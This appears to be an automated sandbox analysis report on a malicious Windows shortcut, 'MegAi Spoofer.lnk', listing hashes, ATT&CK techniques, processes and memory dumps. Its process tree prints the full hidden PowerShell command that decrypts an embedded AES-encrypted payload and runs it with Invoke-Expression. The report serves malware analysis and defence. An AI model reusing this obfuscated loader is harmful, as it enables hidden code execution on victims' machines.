d0099281b0883cbbd38b850b5e57a1b9d50d749f6981a8abcb6b3eee350a9fe8

Analysis

max time kernel
16s
max time network
17s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
06/12/2024, 22:12

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General

Target

MegAi Spoofer.lnk
Size

3KB
MD5

c69266e801806c1f36f8d0143a357fe8
SHA1

08fca5854ad4eb5ebace23786412fbc40245e719
SHA256

e8f5ff2d4746c29e082d612daca7f1b423a5c9303f1de3ee38fa972de7e26493
SHA512

45cd70c58a4ae5cf0c9cb7963972a7bd8c655b3c44fbd5d8aba7d928ee0838f4e87ea69a09c2c31079300faa3f516009e23a9d6fa367f1998837c90ce885b5c4

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2236	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2236	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2236	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3024 wrote to memory of 2236	3024	cmd.exe	32
PID 3024 wrote to memory of 2236	3024	cmd.exe	32
PID 3024 wrote to memory of 2236	3024	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\MegAi Spoofer.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:3024
- C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "& {param($a, $b) $KEYIV = 'rOoSyQMKtiLEjSBPUDJc0YYczA443Ssn2IPrOYs5b2sM8w4BME42qOXFwvyCsNpmHfOZspQ830Ar8dVC7xf6JpsVK8tZUjEfjCysqawpmkS8KATk15abtnKDRey7gbHaHLbX8JHZaFsrOxwNovxMRPxu9EhJN2OFdf4saDXQTsE46hlyERsDkuay1xXfdhEby1H9XjLJzYBHzn1IrTKnMG9dq1wZwoN'; $command = [System.Convert]::FromBase64String($a); $key = [System.Convert]::FromBase64String($b); $e = New-Object System.Security.Cryptography.AesManaged; $e.Key = $key; $e.IV = $command[0..15]; $f = $e.CreateDecryptor(); $g = $f.TransformFinalBlock($command[16..$command.Length], 0, $command.Length - 16); $h = [System.Text.Encoding]::UTF8.GetString($g); Invoke-Expression $h; }" -a "JgYEv1vNidFLlCJrfh7Pms+wIe58pdkMoJWmYm924gNTXGR0ONr0tud7L7VLfWo23+E7ye9dIxWGRf44iAJTDGt8ghXHglYcuTzDSkWccWXTzhY3qx4/ceASLfcSCeGTdKMyvdBVFg9Y1bY6Fmeb3cx39Rx51UOK9vVZ/bHvbtDuuR9j3FcQbSmOUapanLAMTnkPbKb2IFzByI0qNSKYDxdSgQ+oyYsHSnVy1pTlFyI=" -b "sMLETVu+0A9BcAqC+RMOF+ouf+Sr/79huln0GfkiyOw="
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2236

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2236-38-0x000007FEF5ABE000-0x000007FEF5ABF000-memory.dmp

Filesize
4KB

Download
memory/2236-39-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

Filesize
2.9MB

Download
memory/2236-43-0x000007FEF5800000-0x000007FEF619D000-memory.dmp

Filesize
9.6MB

Download
memory/2236-42-0x000007FEF5800000-0x000007FEF619D000-memory.dmp

Filesize
9.6MB

Download
memory/2236-41-0x000007FEF5800000-0x000007FEF619D000-memory.dmp

Filesize
9.6MB

Download
memory/2236-40-0x0000000001EC0000-0x0000000001EC8000-memory.dmp

Filesize
32KB

Download
memory/2236-44-0x000007FEF5800000-0x000007FEF619D000-memory.dmp

Filesize
9.6MB

Download
memory/2236-45-0x000007FEF5800000-0x000007FEF619D000-memory.dmp

Filesize
9.6MB

Download
memory/2236-46-0x000007FEF5800000-0x000007FEF619D000-memory.dmp

Filesize
9.6MB

Download